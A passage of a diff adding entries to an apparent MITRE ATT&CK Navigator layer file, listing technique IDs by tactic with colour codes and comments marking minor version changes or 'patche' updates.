"techniqueID": "T1539", + "tactic": "credential-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1195", + "tactic": "initial-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1007", + "tactic": "discovery", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1529", + "tactic": "impact", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1588.002", + "tactic": "resource-development", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1059.004", + "tactic": "execution", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1608.001", + "tactic": "resource-development", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1071.001", + "tactic": "command-and-control", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1016.002", + "tactic": "discovery", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1003.008", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1557.002", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1557.002", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1558.004", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1548", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1548", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1134", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1134", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1546.008", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1546.008", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1087", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1098", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1098", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1650", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1595", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1547.014", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1547.014", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1137.006", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1098.001", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1098.001", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1098.003", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1098.003", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1098.002", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1098.002", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1557", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1557", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1546.009", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1546.009", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1546.010", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1546.010", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1059.002", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1550.001", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1550.001", + "tactic": "lateral-movement", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1499.003", + "tactic": "impact", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1071", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1546.011", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1546.011", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1010", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1499.004", + "tactic": "impact", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1560", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1560.003", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1560.002", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1560.001", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1588.007", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1573.002", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1055.004", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1055.004", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1053.002", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1053.002", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1053.002", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1123", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1547.002", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1547.002", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1119", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1020", + "tactic": "exfiltration", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1197", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1197", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1102.002", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1027.001", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1547", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1547", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1037", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1037", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1542.003", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1542.003", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1584.005", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1217", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1185", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1612", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1591.002", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1548.002", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1548.002", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1596.004", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1218.003", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1574.012", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1574.012", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1574.012", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1003.005", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1546.001", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1546.001", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1070.003", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1070.002", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1070.001", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1592.004", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1115", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1136.003", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1087.004", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1585.003", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1078.004", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1078.004", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1078.004", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1078.004", + "tactic": "initial-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1586.003", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1069.003", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1580", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1552.005", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1538", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1526", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1619", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1213.003", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1593.003", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1553.002", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1587.002", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1588.003", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1553.006", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1059", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1092", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1027.004", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1218.001", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1542.002", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1542.002", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1559.001", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1586", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1195.003", + "tactic": "initial-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1554", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1584", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1195.002", + "tactic": "initial-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1213.001", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1552.007", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1609", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1053.007", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1053.007", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1053.007", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1613", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1218.002", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1136", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1578.002", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1134.002", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1134.002", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1578.001", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1543", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1543", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1056.004", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1056.004", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1110.004", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1589.001", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1552.001", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1555", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1555.003", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1552.002", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1053.003", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1053.003", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1053.003", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1003.006", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1557.003", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1557.003", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1590.002", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1568.003", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1583.002", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1596.001", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1485", + "tactic": "impact", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1132", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1486", + "tactic": "impact", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1565", + "tactic": "impact", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1001", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1074", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1030", + "tactic": "exfiltration", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1530", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1602", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1213", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1039", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1025", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1102.001", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1622", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1622", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1491", + "tactic": "impact", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1078.001", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1078.001", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1078.001", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1078.001", + "tactic": "initial-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1578.003", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1140", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1610", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1610", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1591.001", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1587", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1587.003", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1588.004", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1596.003", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1498.001", + "tactic": "impact", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1006", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1600.002", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1562.002", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1562.007", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1562.008", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1562.004", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1561.001", + "tactic": "impact", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1561.002", + "tactic": "impact", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1561", + "tactic": "impact", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1021.003", + "tactic": "lateral-movement", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1136.002", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1087.002", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1078.002", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1078.002", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1078.002", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1078.002", + "tactic": "initial-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1556.001", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1556.001", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1556.001", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1090.004", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1568.002", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1069.002", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1590.001", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1482", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1484", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1484", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1583.001", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1584.001", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1036.007", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1562.010", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1601.002", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1189", + "tactic": "initial-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1608.004", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1574.004", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1574.004", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1574.004", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1559.002", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1574.006", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1574.006", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1574.006", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1568", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1055.001", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1055.001", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1548.004", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1548.004", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1087.003", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1585.002", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1586.002", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1114", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1114.003", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1564.008", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1546.014", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1546.014", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1589.003", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1573", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1499", + "tactic": "impact", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1480.001", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1611", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1585", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1546", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1546", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1574.005", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1574.005", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1574.005", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1480", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + 